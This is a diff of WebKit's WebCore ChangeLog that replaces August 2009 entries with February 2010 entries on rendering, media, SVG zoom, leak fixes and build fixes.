-        Fix <rdar://problem/7147996>
+        [Chromium] OpenType font with CFF glyphs is not handled correctly on Windows XP
+        https://bugs.webkit.org/show_bug.cgi?id=34735
 
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::setHasHorizontalScrollbar):
-        (WebCore::ScrollView::setHasVerticalScrollbar):
-        Update the style of the scroll bars.
+        Use 0xFFFF as invalidGlyph when fontData is a OpenType font with CFF glyphs.
         
-        * rendering/RenderScrollbar.cpp:
-        (WebCore::RenderScrollbar::RenderScrollbar):
-        Calculate the size of the scrollbar and set it as the frame size.
-
-2009-08-18  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        HTMLMediaElement should fire 'progress' event before 'load'
-        https://bugs.webkit.org/show_bug.cgi?id=28314
-
-        Test: media/progress-event-at-least-one.html
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::setNetworkState):
-            Schedule 'progress' event before 'load'.
-
-2009-08-18  Peter Kasting  <pkasting@google.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28415
-        Set svn:eol-style CRLF on all .sln and .vcproj files that don't already
-        have it.
-
-        * WebCore.vcproj/QTMovieWin.vcproj:
-        * WebCore.vcproj/WebCoreGenerated.vcproj:
-
-2009-08-18  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Need to extend DumpRenderTree to expose number of worker threads
-        https://bugs.webkit.org/show_bug.cgi?id=28292
-
-        Expose WorkerThread::workerThreadCount() for DumpRenderTree so we can write worker lifecycle tests.
+        Test: fast/css/font-face-opentype.html
 
-        Tests: fast/workers/shared-worker-lifecycle.html-disabled
-               fast/workers/worker-lifecycle.html
-
-        * WebCore.base.exp:
-        Exported WorkerThread::workerThreadCount().
-        * WebCore.xcodeproj/project.pbxproj:
-        * workers/WorkerThread.cpp:
-        Added tracking of the number of worker threads.
-        (WebCore::threadCountMutex):
-        (WebCore::WorkerThread::workerThreadCount):
-        (WebCore::WorkerThread::WorkerThread):
-        (WebCore::WorkerThread::~WorkerThread):
-        * workers/WorkerThread.h:
-
-2009-08-18  Ariya Hidayat  <ariya.hidayat@nokia.com>
-
-        Unreviewed, build fix.
+        * platform/graphics/chromium/GlyphPageTreeNodeChromiumWin.cpp:
+        (WebCore::fillBMPGlyphs):
 
-        [Qt] Add new files I forgot to add in r47424.
+2010-02-16  Darin Adler  <darin@apple.com>
 
-2009-08-18  Markus Goetz <Markus.Goetz@nokia.com>
+        * page/MediaCanStartListener.h: Fixed license.
 
-        Reviewed by Ariya Hidayat.
+2010-02-16  Darin Adler  <darin@apple.com>
 
-        [Qt] Implement prefetchDNS() function.
+        Reviewed by Sam Weinig.
 
-        * WebCore.pro:
-        * platform/qt/TemporaryLinkStubs.cpp:
+        Generalize delayed plug-in start for background tabs for use for other media
+        https://bugs.webkit.org/show_bug.cgi?id=34981
 
-2009-08-18  Kent Tamura  <tkent@chromium.org>
+        Also did some simple cleanup of HTMLMediaElement to get ready to make it
+        a client of the same mechanism.
 
-        Reviewed by Eric Seidel.
+        * WebCore.base.exp: Added Page::setCanStartMedia and resorted.
+        * WebCore.xcodeproj/project.pbxproj: Added MediaCanStartListener.h.
 
-        Support for parsing <datalist> element and generating HTMLDataListElement nodes.
-        https://bugs.webkit.org/show_bug.cgi?id=26915
+        * html/HTMLAudioElement.h: Added an implementation of isVideo since that
+        is now a pure virtual function in HTMLMediaElement. Also made tagPriority
+        private.
 
-        Tests: fast/forms/datalist-nonoption-child.html
-               fast/forms/datalist.html
-
-        * WebCore.gypi:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.vcproj/build-generated-files.sh:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * css/html.css:
-        * html/CollectionType.h:
-        (WebCore::):
-        * html/HTMLCollection.cpp:
-        (WebCore::HTMLCollection::itemAfter):
-        * html/HTMLDataListElement.cpp: Added.
-        (WebCore::HTMLDataListElement::HTMLDataListElement):
-        (WebCore::HTMLDataListElement::~HTMLDataListElement):
-        (WebCore::HTMLDataListElement::checkDTD):
-        (WebCore::HTMLDataListElement::options):
-        * html/HTMLDataListElement.h: Added.
-        * html/HTMLDataListElement.idl: Added.
-        * html/HTMLElement.cpp:
-        (WebCore::inlineTagList):
-        * html/HTMLParser.cpp:
-        (WebCore::HTMLParser::isAffectedByResidualStyle):
-        * html/HTMLTagNames.in:
+        * html/HTMLMediaElement.h: Made it clearer that HTMLMediaElement is an
+        abstract base class by making its constructor protected and making the
+        isVideo function a pure virtual function.
 
-2009-08-17  Shinichiro Hamaji  <hamaji@chromium.org>
+        * page/Page.cpp:
+        (WebCore::Page::Page): Updated for name change from m_canStartPlugins
+        to m_canStartMedia.
+        (WebCore::Page::addMediaCanStartListener): Renamed and added an assertion.
+        (WebCore::Page::removeUnstartedMedia): Ditto.
+        (WebCore::Page::setCanStartMedia): Renamed plugin to media and moved
+        the code here from PageWin.cpp. The main change from the one in PageWin.cpp
+        is that this function calls mediaCanStart rather than explicitly calling a
+        combination of start and dispatchDidFailToStartPlugin on a PluginView.
 
-        Reviewed by Eric Seidel.
+        * page/Page.h: Re-sorted forward class declarations. Renamed the plugin
+        starting functions to media starting names and changed types from
+        PluginView to MediaCanStartListener.
 
-        -webkit-box-orient:horizontal doesn't work on <button> tag
-        https://bugs.webkit.org/show_bug.cgi?id=34445
+        * page/MediaCanStartListener.h: Added.
 
-        Make a flexible button's anonymous child flexible and pass the
-        parent's box-orient to the anonymous child.
+        * page/win/PageWin.cpp: Moved setCanStartPlugins to the platform-independent
+        Page.cpp file so it can be used for more than just Windows plug-ins.
 
-        Also, added a renderName for anonymous flexible boxes.
+        * plugins/PluginView.cpp: Sorted includes.
+        (WebCore::PluginView::startOrAddToUnstartedList): Use addMediaCanStartListener.
+        (WebCore::PluginView::mediaCanStart): Added. Called when the page decides that
+        media can start. Contains the code that used to be in Page::setCanStartPlugins.
+        (WebCore::PluginView::removeFromUnstartedListIfNecessary): Use
+        removeMediaCanStartListener.
 
-        Test: fast/flexbox/box-orient-button.html
+        * plugins/PluginView.h: Adopted MediaCanStartListener.
 
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::createAnonymousBlock):
-        * rendering/RenderBlock.h:
-        * rendering/RenderButton.cpp:
-        (WebCore::RenderButton::addChild):
-        (WebCore::RenderButton::setupInnerStyle):
-        * rendering/RenderFlexibleBox.cpp:
-        (WebCore::RenderFlexibleBox::renderName):
+2010-02-16  Simon Fraser  <simon.fraser@apple.com>
 
-2009-08-17  Simon Fraser  <simon.fraser@apple.com>
+        Reviewed by Dan Bernstein.
 
-        Reviewed by Dave Hyatt.
-        
-        Render -webkit-mask via compositing layers when possible
-        https://bugs.webkit.org/show_bug.cgi?id=28414
-        
-        Implement accelerated compositing of -webkit-mask, when combined
-        with already-composited content.
+        https://bugs.webkit.org/show_bug.cgi?id=34999
+        Compositing layers inside overflow:scroll divs are not always updated on scrolling
         
-        RenderLayerBacking now creates an additional GraphicsLayer for the mask contents,
-        and sets this as the mask on another GraphicsLayer via the setMaskLayer() method.
-        GraphicsLayerCA then applies the mask using -[CALayer setMask:].
-        
-        The enum values for GraphicsLayerPaintingPhase were renamed to avoid the
-        confusion with "mask", and a new value, GraphicsLayerPaintMask, was added which
-        indicates that just the mask is painting.
-        
-        When painting the composited mask, we need to paint with the normal compositing
-        mode rather than CompositeDestinationIn, so InlineFlowBox and RenderBox now consult
-        layer()->hasCompositedMask() to pick the mode. If the mask is composited, they no longer
-        need to make transparency layers.
-        
-        We no longer have to throw video rendering into software because of masks.
-        
-        When a masked element has composited descendants, that element needs to
-        become composited so that the mask can be applied via compositing.
+        When RenderLayer::scrollToOffset() updates compositing layer positions, it needs
+        to start updating at its stacking context rather than just its compositing ancestor.
+        The stacking context is guaranteed to contain all descendants of the overflow
+        layer, including those that are not direct descendants of the overflow layer in stacking
+        (and therefore compositing) order.
 
-        Tests: compositing/masks/masked-ancestor.html
-               compositing/masks/simple-composited-mask.html
+        Test: compositing/overflow/scroll-ancestor-update.html
 
-        * platform/graphics/GraphicsLayer.cpp:
-        (WebCore::GraphicsLayer::GraphicsLayer):
-        * platform/graphics/GraphicsLayer.h:
-        (WebCore::GraphicsLayer::maskLayer):
-        (WebCore::GraphicsLayer::setMaskLayer):
-        (WebCore::GraphicsLayer::paintingPhase):
-        (WebCore::GraphicsLayer::setPaintingPhase):
-        * platform/graphics/GraphicsLayerClient.h:
-        (WebCore::):
-        * platform/graphics/mac/GraphicsLayerCA.h:
-        (WebCore::GraphicsLayerCA::):
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::setMaskLayer):
-        (WebCore::GraphicsLayerCA::recursiveCommitChanges):
-        (WebCore::GraphicsLayerCA::commitLayerChanges):
-        (WebCore::GraphicsLayerCA::updateMaskLayer):
-        * rendering/InlineFlowBox.cpp:
-        (WebCore::InlineFlowBox::paintMask):
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::paintMaskImages):
         * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::hasCompositedMask):
-        * rendering/RenderLayer.h:
-        (WebCore::RenderLayer::hasCompositedMask):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::~RenderLayerBacking):
-        (WebCore::RenderLayerBacking::destroyGraphicsLayer):
-        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration):
-        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
-        (WebCore::RenderLayerBacking::updateForegroundLayer):
-        (WebCore::RenderLayerBacking::updateMaskLayer):
-        (WebCore::RenderLayerBacking::paintingPhaseForPrimaryLayer):
-        (WebCore::RenderLayerBacking::setContentsNeedDisplay):
-        (WebCore::RenderLayerBacking::setContentsNeedDisplayInRect):
-        (WebCore::RenderLayerBacking::paintIntoLayer):
-        (WebCore::RenderLayerBacking::paintContents):
-        * rendering/RenderLayerBacking.h:
-        (WebCore::RenderLayerBacking::hasMaskLayer):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
-        (WebCore::RenderLayerCompositor::canAccelerateVideoRendering):
-        (WebCore::RenderLayerCompositor::requiresCompositingWhenDescendantsAreCompositing):
-        * rendering/RenderLayerCompositor.h:
-
-2009-08-17  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-
-        Layer content misplaced with compositing, z-index and overflow
-        https://bugs.webkit.org/show_bug.cgi?id=28361
-        
-        The foreground GraphicsLayer (used to render element foreground when the element has 
-        negative z-order children) was misplaced when there is a clipping layer (which clips
-        children). The foreground layer is parented under the clipping layer so that the foreground
-        depth-sorts with the layer's children, so its geometry needs to be computed relative to
-        that clipping layer.
-        
-        Also clarified some FIXME comments, and corrected a debug-only layer name.
-
-        Test: compositing/geometry/clipping-foreground.html
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::updateSublayerList):
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateGraphicsLayerGeometry):
-        (WebCore::RenderLayerBacking::updateForegroundLayer):
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::rebuildCompositingLayerTree):
-
-2009-08-17  Mark Rowe  <mrowe@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Fix leaks of SVGElementInstance seen during regression tests.
-
-        r47313 made TreeShared types start with a ref-count of 1, but SVGElementInstance was mistakenly
-        not updated to have a create method that adopted the initial reference.  This lead to the instances
-        of SVGElementInstance allocated by SVGUseElement being leaked.
-
-        * svg/SVGElementInstance.h:
-        (WebCore::SVGElementInstance::create):
-        * svg/SVGUseElement.cpp:
-        (WebCore::SVGUseElement::buildPendingResource):
-        (WebCore::SVGUseElement::buildInstanceTree):
-        (WebCore::SVGUseElement::handleDeepUseReferencing):
-
-2009-08-17  Brady Eidson  <beidson@apple.com>
-
-        Reviewed by Sam Weinig.
-
-        Some cleanup towards https://bugs.webkit.org/show_bug.cgi?id=13631
-        Page Cache should support pages with frames.
-
-        - Re-factor all remaining page cache code out of DocumentLoader, as CachedPage/CacheFrame loads
-          are solely the responsibility of FrameLoader.
-        - Enhance some page cache related Logging to help development.
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::didCommitLoad):
-        (WebCore::InspectorController::identifierForInitialRequest):
-
-        * loader/DocumentLoader.cpp:
-        (WebCore::DocumentLoader::DocumentLoader):
-        * loader/DocumentLoader.h:
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::FrameLoader):
-        (WebCore::FrameLoader::commitProvisionalLoad):
-        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
-        (WebCore::FrameLoader::loadProvisionalItemFromCachedPage):
-        * loader/FrameLoader.h:
-        (WebCore::FrameLoader::isLoadingFromCachedPage):
-
-2009-08-17  Roland Steiner  <rolandsteiner@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Moved implementation of isAfterContent to RenderObject
-        (as inline method to avoid potential performance regressions).
-
-        BUG 28376 -  [Cleanup] isAfterContent() implemented twice, should be member of RenderObject
-        (https://bugs.webkit.org/show_bug.cgi?id=28376)
-
-        * rendering/RenderBox.cpp:
-        * rendering/RenderBox.h:
-        * rendering/RenderInline.cpp:
-        * rendering/RenderObject.h:
-        (WebCore::RenderObject::isAfterContent):
-
-2009-08-17  Shinichiro Hamaji  <hamaji@chromium.org>
-
-        Reviewed by Darin Adler.
-
-        Assertion failure in WebCore::RenderHTMLCanvas::layout
-        https://bugs.webkit.org/show_bug.cgi?id=12052
-
-        Don't handle run-in if the element is not a block element.
-
-        Test: fast/runin/nonblock-runin.html
-
-        * rendering/RenderBlock.cpp:
-        (WebCore::RenderBlock::handleRunInChild):
-
-2009-08-17  Benjamin C Meyer  <benjamin.meyer@torchmobile.com>
-
-        Reviewed by Darin Adler.
+        (WebCore::RenderLayer::scrollToOffset):
 
-        Fix createImageData to raise the NOT_SUPPORTED_ERR exception when
-        either of the arguments are not finite.
+2010-02-16  Dan Bernstein  <mitz@apple.com>
 
-        According to
-        http://www.whatwg.org/specs/web-apps/current-work/#pixel-manipulation:
-        "If any of the arguments to createImageData() or getImageData() are
-        infinite or NaN, or if the createImageData()  method is invoked with
-        only one argument but that argument is null, the method must instead
-        raise a NOT_SUPPORTED_ERR  exception."
+        Reviewed by Simon Fraser.
 
-        Test: http://philip.html5.org/tests/canvas/suite/tests/2d.imageData.create.nonfinite.html
+        Allow FloatRect::center() to return fractional coordinates. It was
+        mistakenly converting to integers.
 
-        * html/canvas/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::createImageData):
-        * html/canvas/CanvasRenderingContext2D.h:
-        * html/canvas/CanvasRenderingContext2D.idl:
+        * platform/graphics/FloatRect.h:
+        (WebCore::FloatRect::center):
 
-2009-08-17  Jeremy Orlow  <jorlow@chromium.org>
+2010-02-16  Gavin Barraclough  <barraclough@apple.com>
 
-        Reviewed by Darin Fisher.
+        Reviewed by Oliver Hunt.
 
-        Add a way to release the storage lock
-        https://bugs.webkit.org/show_bug.cgi?id=28411
+        https://bugs.webkit.org/show_bug.cgi?id=34964
+        Leaks tool reports false memory leaks due to Rope implementation.
 
-        Two scripts within the same origin that are accessing LocalStorage must not do
-        it simultaneously, according to the spec.  There are some cases, however, where
-        a script might want to override this behavior.  navigator.getStorageUpdates()
-        was added for this reason:
-        http://dev.w3.org/html5/spec/Overview.html#manually-releasing-the-storage-mutex
+        Renamed cUStringImpl::size() to UStringImpl::size()UStringImpl::length()
+        (matches WebCore::StringImpl).
 
-        Add this function to navigator and hook it up to DOM Storage.
+        * bridge/jni/jsc/JavaStringJSC.h:
+        (JSC::Bindings::JavaStringImpl::length):
+        * platform/text/AtomicString.cpp:
+        (WebCore::AtomicString::add):
+        (WebCore::AtomicString::find):
 
-        * page/Navigator.cpp:
-        (WebCore::Navigator::getStorageUpdates):
-        * page/Navigator.h:
-        * page/Navigator.idl:
-        * storage/StorageNamespace.h:
-        * storage/StorageNamespaceImpl.cpp:
-        (WebCore::StorageNamespaceImpl::unlock):
-        * storage/StorageNamespaceImpl.h:
+2010-02-15  Jon Honeycutt  <jhoneycutt@apple.com>
 
-2009-08-17  Mark Rowe  <mrowe@apple.com>
+        <rdar://problem/7288853> Message about missing plugin does not specify
+        the type or download link for download
 
-        Build fix.
+        Reviewed by Mark Rowe.
 
-        CFNetwork isn't present in the framework search path on Mac OS X so we can't directly include its headers.
-        We include CoreServices.h, the umbrella framework that contains CFNetwork, from the prefix header which
-        results in the CFNetwork headers being included on Mac OS X.  CoreServices.h doesn't include CFNetwork.h on
-        Windows though so we explicitly include this header from the prefix header when on Windows.
+        * plugins/PluginDatabase.cpp:
+        (WebCore::PluginDatabase::findPlugin):
+        Only update the mimeType out param if we find a plug-in for the file
+        extension.
 
-        * WebCorePrefix.h:
-        * platform/network/cf/DNSCFNet.cpp: Remove #include that is no longer needed.
+2010-02-16  Simon Fraser  <simon.fraser@apple.com>
 
-2009-08-17  Alexey Proskuryakov  <ap@apple.com>
+        Build fix for Tiger.
 
-        Trying a better build fix (the previous one broke Leopard bots, although it did build for me).
+        Add #if USE(ACCELERATED_COMPOSITING) around the call to mediaPlayerRenderingModeChanged().
+        
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
 
-        * platform/network/cf/DNSCFNet.cpp: Include CFNetwork/CFNetwork.h instead.
+2010-02-16  Csaba Osztrogonác  <ossy@webkit.org>
 
-2009-08-17  Alexey Proskuryakov  <ap@apple.com>
+        Reviewed by Eric Carlson.
 
-        Trying to fix Windows build.
+        Buildfix for r54826.
 
-        * platform/network/cf/DNSCFNet.cpp: Include CFNetwork/CFHost.h.
+        HTMLMediaElement class defined by HTMLMediaElement.h in #if ENABLE(VIDEO) block,
+        it should be in #if ENABLE(VIDEO) block in rendering/RenderLayerBacking.cpp too.
 
-2009-08-17  Peter Kasting  <pkasting@google.com>
+        * rendering/RenderLayerBacking.cpp: Missing #if ENABLE(VIDEO) guard added.
+        (WebCore::RenderLayerBacking::updateGraphicsLayerConfiguration):
 
-        Reviewed by Steve Falkenburg.
+2010-02-16  Julie Parent  <jparent@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=27323
-        Only add Cygwin to the path when it isn't already there.  This avoids
-        causing problems for people who purposefully have non-Cygwin versions of
-        executables like svn in front of the Cygwin ones in their paths.
+        Unreviewed: Chromium build fix.
 
-        * WebCore.vcproj/QTMovieWin.vcproj:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.vcproj/WebCoreGenerated.vcproj:
+        http://trac.webkit.org/changeset/54823 introduced an unused variable.  Remove it.
 
-2009-08-17  Alexey Proskuryakov  <ap@apple.com>
+        * platform/image-decoders/ImageDecoder.cpp:
+        (WebCore::ImageDecoder::create):
 
-        Reviewed by Geoff Garen.
+2010-02-16  Mark Rowe  <mrowe@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28401
-        Add support for DNS prefetching with CFNetwork
+        Reviewed by Alexey Proskuryakov.
 
-        This is just an optimization, no behavior change, so no tests.
+        Bug 34974: Leak of ScheduledAction during layout tests
+        <https://bugs.webkit.org/show_bug.cgi?id=34974>
 
-        * platform/network/cf/DNSCFNet.cpp:
-        (WebCore::clientCallback):
-        (WebCore::prefetchDNS):
-        Use async CFHostStartInfoResolution() for implementation.
+        ScheduledAction::create was returning a raw pointer which was threaded down through to an OwnPtr in DOMTimer.
+        If any of the code paths in between hit an error case and returned early the raw pointer would be leaked.  We
+        can avoid this by passing it as a PassOwnPtr.  This will ensure that the ScheduledAction is cleaned up should
+        an error case be hit.
 
-2009-08-17  Aaron Boodman  <aa@chromium.org>
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::setTimeout): Store the newly-created ScheduledAction in an OwnPtr and then hand it off
+        as the function argument.
+        (WebCore::JSDOMWindow::setInterval): Ditto.
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::setTimeout): Ditto.
+        (WebCore::JSWorkerContext::setInterval): Ditto.
+        * bindings/js/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::create): Return a PassOwnPtr.
+        * bindings/js/ScheduledAction.h:
+        * page/DOMTimer.cpp:
+        (WebCore::DOMTimer::DOMTimer): Update argument type.
+        (WebCore::DOMTimer::install): Ditto.
+        * page/DOMTimer.h:
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::setTimeout): Ditto.
+        (WebCore::DOMWindow::setInterval): Ditto.
+        * page/DOMWindow.h:
 
-        Reviewed by Alexey Proskuryakov.
+2010-02-16  Nikolas Zimmermann  <nzimmermann@rim.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28313: Combine ThreadableLoaderOptions::crossOriginRequestPolicy and
-        ThreadableLoaderOptions::crossOriginRedirectPolicy since they are always set the same way.
+        Reviewed by David Hyatt.
 
-        Also, tightened up behavior of XMLHttpRequest with cross-origin redirects and access control. We have not implemented
-        redirects access control, so we should never redirect across origins. But in two edge cases, we were:
+        SVG units don't stay consistently sized on zoom
+        https://bugs.webkit.org/show_bug.cgi?id=14004
+
+        Large step towards making WebKit an usable SVG viewer.
+
+        Make zooming into SVG documents work as expected, in both standalone and XHTML/SVG compound documents.
+        SVG applies a global scale to the document, whereas CSS zooms all individual length units (on full-page-zoom).
+        Scaling has to be avoided for all SVG specific CSS properties (already works) and for some selected CSS
+        properties shared between CSS & SVG that explicitely need a different treatment in the context of SVG.
+        To name a few: font-size, letter-spacing, etc. should stay invariant under zoom in SVG document fragments.
+
+        Some new rules regarding zooming:
+        - "Zoom text only" should never affect SVG documents, neither text nor content should zoom.
+          This option doesn't make much sense for SVG, so it's wise to avoid side-effects and disable it.
+          In compound documents the SVG would stay as-is and only text of surrounding XHTML content would zoom.
+
+        - "Full page zoom" is the only zoom mode affecting SVG. (Panning only works in standalone documents.)
+
+        Cover all mentioned cases above by a new set of layout tests.
+
+        Tests: svg/zoom/page/absolute-sized-document-no-scrollbars.svg
+               svg/zoom/page/absolute-sized-document-scrollbars.svg
+               svg/zoom/page/relative-sized-document-scrollbars.svg
+               svg/zoom/page/zoom-coords-viewattr-01-b.svg
+               svg/zoom/page/zoom-foreignObject.svg
+               svg/zoom/page/zoom-hixie-mixed-008.xml
+               svg/zoom/page/zoom-hixie-mixed-009.xml
+               svg/zoom/page/zoom-hixie-rendering-model-004.xhtml
+               svg/zoom/page/zoom-svg-float-border-padding.xml
+               svg/zoom/text/absolute-sized-document-no-scrollbars.svg
+               svg/zoom/text/absolute-sized-document-scrollbars.svg
+               svg/zoom/text/relative-sized-document-scrollbars.svg
+               svg/zoom/text/zoom-coords-viewattr-01-b.svg
+               svg/zoom/text/zoom-foreignObject.svg
+               svg/zoom/text/zoom-hixie-mixed-008.xml
+               svg/zoom/text/zoom-hixie-mixed-009.xml
+               svg/zoom/text/zoom-hixie-rendering-model-004.xhtml
+               svg/zoom/text/zoom-svg-float-border-padding.xml
+
+        * css/CSSStyleSelector.cpp: Blacklist certain properties not to be zoomed for SVG elements.
+        (WebCore::CSSStyleSelector::styleForDocument): Don't zoom font-sizes.
+        (WebCore::CSSStyleSelector::applyProperty): Ditto (+ letter/word-spacing).
+        (WebCore::CSSStyleSelector::setFontSize): Ditto.
+        (WebCore::CSSStyleSelector::getComputedSizeFromSpecifiedSize): Never apply text zoom to SVG.
+        * css/CSSStyleSelector.h:
+        * css/SVGCSSStyleSelector.cpp: -webkit-shadow + SVG was incorrectly respecting zoom factor.
+        (WebCore::CSSStyleSelector::applySVGProperty):
+        * page/Frame.cpp:
+        (WebCore::Frame::shouldApplyTextZoom): Remove SVG special cases.
+        (WebCore::Frame::shouldApplyPageZoom): Ditto.
+        (WebCore::Frame::setZoomFactor): Don't force setZoomsTextOnly() - SVG now uses FPZ as well.
+        * rendering/RenderSVGRoot.cpp:
+        (WebCore::RenderSVGRoot::calcReplacedWidth): CSSPropertyWidth is explicitely not scaled by CSSStyleSelector, fix that for outermost <svg> elements.
+        (WebCore::RenderSVGRoot::calcReplacedHeight): Ditto for CSSPropertyHeight.
+        (WebCore::RenderSVGRoot::layout): Simplify & cleanup code, take advantage of new calcWidth/Height functionality, no need to scale anything here.
+        (WebCore::RenderSVGRoot::paint): Use parentOriginToBorderBox() instead of duplicating code.
+        (WebCore::RenderSVGRoot::calcViewport): Simplify code.
+        (WebCore::RenderSVGRoot::localToBorderBoxTransform): Calculate viewBoxToViewTransformation() against unscaled width()/height() values.
+        * rendering/RenderSVGRoot.h:
+        * svg/SVGLength.cpp:
+        (WebCore::SVGLength::PercentageOfViewport): Cleanup & document function.
+        * svg/SVGSVGElement.cpp:
+        (WebCore::SVGSVGElement::currentScale): Return pageZoomFactor(), not just the zoomFactor() - as we want to ignore text-only zoom.
+        (WebCore::SVGSVGElement::setCurrentScale): Pass isTextOnly=false to setZoomFactor().
 
-        * Asynchronous XHR: Script on origin A requests resource from origin B. Server redirects (without sending access control
-          authorization headers) to a resource on origin A.
-        * Synchronous XHR: Script on origin A requests resource from origin B. Server redirects (without sending access control
-          authorization headers) to another resource on origin B (this time sending access control authorization headers).
+2010-02-16  Julie Parent  <jparent@chromium.org>
 
-        Test: http/tests/xmlhttprequest/access-control-and-redirects.html
+        Unreviewed: Chromium build fix.
 
-        * loader/DocumentThreadableLoader.cpp:
-        (WebCore::DocumentThreadableLoader::willSendRequest): Refactor redirect checking code into shared location.
-        (WebCore::DocumentThreadableLoader::loadRequest): Ditto.
-        (WebCore::DocumentThreadableLoader::isAllowedRedirect): Ditto.
-        * loader/DocumentThreadableLoader.h:
-        * loader/ThreadableLoader.h:
-        (WebCore::ThreadableLoaderOptions::ThreadableLoaderOptions): Remove ThreadableLoaderOptions::crossOriginRedirectPolicy.
-        * page/EventSource.cpp:
-        (WebCore::EventSource::connect): Ditto.
-        * workers/Worker.cpp: Ditto.
-        (WebCore::Worker::Worker): Ditto.
-        * workers/WorkerContext.cpp: Ditto.
-        (WebCore::WorkerContext::importScripts): Ditto.
-        * workers/WorkerScriptLoader.cpp:
-        (WebCore::WorkerScriptLoader::loadSynchronously): Ditto.
-        (WebCore::WorkerScriptLoader::loadAsynchronously): Ditto.
-        * workers/WorkerScriptLoader.h: 
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::createRequest): Ditto.
+        https://bugs.webkit.org/show_bug.cgi?id=34998
 
-2009-08-17  Adam Langley  <agl@google.com>
+        Move include of JavaScriptProfile.h behind if (USE_JSC).
 
-        Reviewed by Dan Bernstein (relanding of r47157).
+        * inspector/InspectorController.cpp:
 
-        Fix a typo in platform/graphics/skia/PlatformContextSkia.cpp
+2010-02-16  Alexey Proskuryakov  <ap@apple.com>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28172
+        Reviewed by Geoffrey Garen and Kevin Decker.
 
-        This was originally fixed in r47157, however it triggered a bug in
-        Skia which caused Chromium Linux to fail layout tests in debug mode.
-        It was reverted in r47189 while we sorted it out.
+        https://bugs.webkit.org/show_bug.cgi?id=34989
+        <rdar://problem/7417965> Cursor disappears on scroll bars that are over plugin content
 
-        The Skia bug was fixed in Skia's r321 [1] and rolled into Chromium in
-        Chromium's r23523. This is a reland of the original patch.
+        * html/HTMLPlugInElement.cpp: (WebCore::HTMLPlugInElement::defaultEventHandler): Added some
+        comments about the way we pass events down to plug-ins.
 
-        No new tests because it's a just typo fix.
+2010-02-16  Simon Fraser  <simon.fraser@apple.com>
 
-        [1] http://code.google.com/p/skia/source/detail?r=321
+        Reviewed by Eric Carlson.
 
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::setupPaintCommon):
+        With hardware acceleration turned off, video frames never display if poster
+        image is specified
+        https://bugs.webkit.org/show_bug.cgi?id=34965
+        
+        HTMLVideoElement's m_shouldDisplayPosterImage was never updated after
+        the movie supplied its first video frame, so the poster would continue to show.
+        
+        Fixed by calling updatePosterImage() from mediaPlayerRepaint(), which is called
+        each time a new frame is available. updatePosterImage() is cheap.
+        
+        Also made updatePosterImage() virtual on HTMLMediaElement to avoid a number of
+        ugly casts.
 
-2009-08-17  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+        Test: manual-tests/media-elements/video-replaces-poster.html
 
-        Reviewed by Xan Lopez.
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::noneSupported): Call updatePosterImage() without video check.
+        (WebCore::HTMLMediaElement::setNetworkState): Ditto.
+        (WebCore::HTMLMediaElement::setReadyState): Ditto.
+        (WebCore::HTMLMediaElement::mediaPlayerRepaint): Call udpatePosterImage().
+        * html/HTMLMediaElement.h:
+        (WebCore::HTMLMediaElement::updatePosterImage): Make this an empty virtual
+        method on the base class.
+        * html/HTMLVideoElement.h: Override updatePosterImage().
 
-        Protect ResourceHandle for g_file_query_info_async call, using the
-        same technique we already use for HTTP requests that take the soup
-        path.
+2010-02-16  Simon Fraser  <simon.fraser@apple.com>
 
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::ResourceHandleInternal::~ResourceHandleInternal):
-        (WebCore::ResourceHandle::~ResourceHandle):
-        (WebCore::finishedCallback):
-        (WebCore::):
+        Build fix for platforms without ACCELERATED_COMPOSITING defined.
 
-2009-08-17  Dan Bernstein  <mitz@apple.com>
+        mediaPlayerRenderingModeChanged() is only available when ACCELERATED_COMPOSITING is defined.
+        
